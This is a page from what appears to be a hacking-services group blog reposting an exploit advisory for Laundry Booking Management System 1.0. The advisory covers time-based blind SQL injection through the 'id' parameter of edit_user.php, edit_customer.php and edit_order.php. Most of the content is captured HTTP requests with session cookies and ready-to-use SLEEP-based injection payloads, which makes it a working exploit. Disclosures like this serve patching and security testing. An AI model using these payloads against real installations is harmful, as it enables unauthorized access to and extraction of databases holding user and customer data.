Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863103375

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Laundry Booking Management System 1.0 - 'Multiple' SQL Injection
# Date: 2021-08-19
# Exploit Author: Azumah Foresight Xorlali
# Vendor Homepage: https://www.sourcecodester.com/php/14400/laundry-booking-management-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14400&title=Laundry+Booking+Management+System+in+PHP+with+Free+Source+Code
# Version: Version 1.0
# Category: Web Application
# Tested on: Kali Linux

Description:
Laundry Booking Management System 1.0 application is vulnerable to SQL
injection via the "id" parameter, which was not properly checked on the
[edit_user.php,edit_customer.php,edit_order.php] page.

#Vulnerable Request when logged in as a user with Supervisor or Manager:
POST /laundry_sourcecode/laundry_sourcecode/edit_user.php?id=7 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/laundry_sourcecode/laundry_sourcecode/edit_user.php?id=7
Content-Type: multipart/form-data;
boundary=---------------------------851226474159708868105526498
Content-Length: 1408
Connection: close
Cookie: PHPSESSID=dih37knpkeb9hc1qtk56godb5r
Upgrade-Insecure-Requests: 1


---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=7' AND (SELECT 5999 FROM (SELECT(SLEEP(5)))BOpa) AND
'voSh'='voSh
---

-----------------------------------------------------------------------------------------------------------------------


#Vulnerable Request when logged in as Admin:
POST /laundry_sourcecode/laundry_sourcecode/edit_customer.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/laundry_sourcecode/laundry_sourcecode/edit_customer.php?id=1
Content-Type: multipart/form-data;
boundary=---------------------------17781030011592905058578147050
Content-Length: 767
Connection: close
Cookie: PHPSESSID=dih37knpkeb9hc1qtk56godb5r
Upgrade-Insecure-Requests: 1

---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 6874 FROM (SELECT(SLEEP(5)))ZCjC) AND
'GIau'='GIau
---

-----------------------------------------------------------------------------------------------------------------------

#Vulnerable Request when logged in a Admin:
POST /laundry_sourcecode/laundry_sourcecode/edit_order.php?id=18 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/laundry_sourcecode/laundry_sourcecode/edit_order.php?id=18
Content-Type: multipart/form-data;
boundary=---------------------------167059892515401580571429373524
Content-Length: 886
Connection: close
Cookie: PHPSESSID=dih37knpkeb9hc1qtk56godb5r
Upgrade-Insecure-Requests: 1


---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=18' AND (SELECT 8201 FROM (SELECT(SLEEP(5)))odDG) AND
'wCli'='wCli
---